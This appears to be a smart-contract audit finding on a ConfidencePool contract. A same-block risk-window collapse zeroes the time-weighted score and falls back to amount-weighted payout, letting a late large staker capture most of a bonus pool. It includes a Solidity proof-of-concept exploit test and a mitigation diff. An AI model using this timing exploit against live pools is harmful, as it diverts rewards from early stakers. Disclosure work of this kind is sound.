## Description
Normally, the confidence pool distributes the bonus pool using a quadratic $k=2$ time-weighted formula to reward early stakers who stayed at risk for longer durations and penalize late large depositors.
If the risk window is opened and closed in the same block, the global score calculates to 0, which triggers a fallback that distributes the entire bonus pool based solely on deposit amount, bypassing the time-weighted penalty entirely.
```solidity
// In ConfidencePool.sol: _bonusShare()
uint256 T = outcomeFlaggedAt;
// Underflow guards on both subtractions: globally the sum of squares is nonneg, but
// truncation/rounding pathologies could push individual terms over.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
@> if (globalScore == 0) {
// No time elapsed in the risk window for anyone → fallback to amount-weighted.
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
```
## Risk
Likelihood:
- The registry state transitions from `UNDER_ATTACK` to `PRODUCTION` or `CORRUPTED` within the same block.
- A moderator resolves the pool outcome in the same block as the registry transition, leading to a same-block collapse.
Impact:
- The quadratic time-weighted penalty is bypassed.
- A late depositor with a large stake receives the vast majority of the bonus pool, diluting the rewards of early stakers.
## Proof of Concept
Here is a test showing how a late large staker (Bob) can capture ~99.9% of the bonus pool despite entering 10 days after early staker (Alice). Place this test in your test suite:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract M01SameBlockFallbackExploit is BaseConfidencePoolTest {
function testExploit_SameBlockFallback() public {
// Alice stakes 1 token early
_stake(alice, ONE);
vm.warp(block.timestamp + 10 days);
// Bob stakes 1000 tokens late
_stake(bob, 1000 * ONE);
_contributeBonus(carol, 100 * ONE);
// Attack executes in same block
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
pool.claimSurvived();
vm.prank(bob);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - ONE;
uint256 bobBonus = token.balanceOf(bob) - 1000 * ONE;
// Bob receives ~99.9% of the bonus pool
assertGt(bobBonus, 99 * ONE);
assertLt(aliceBonus, 0.1 * ONE);
}
}
```
## Recommended Mitigation
Ensure a minimum duration for the risk window, or enforce equal (per capita) distribution rather than amount-weighted distribution when `globalScore == 0` to prevent same-block timing games.
```diff
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
- // No time elapsed in the risk window for anyone → fallback to amount-weighted.
- if (snapshotTotalStaked == 0) return 0;
- return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
+ // If no time elapsed, distribute equally per-capita or revert to prevent same-block exploits
+ revert RiskWindowTooShort();
}
```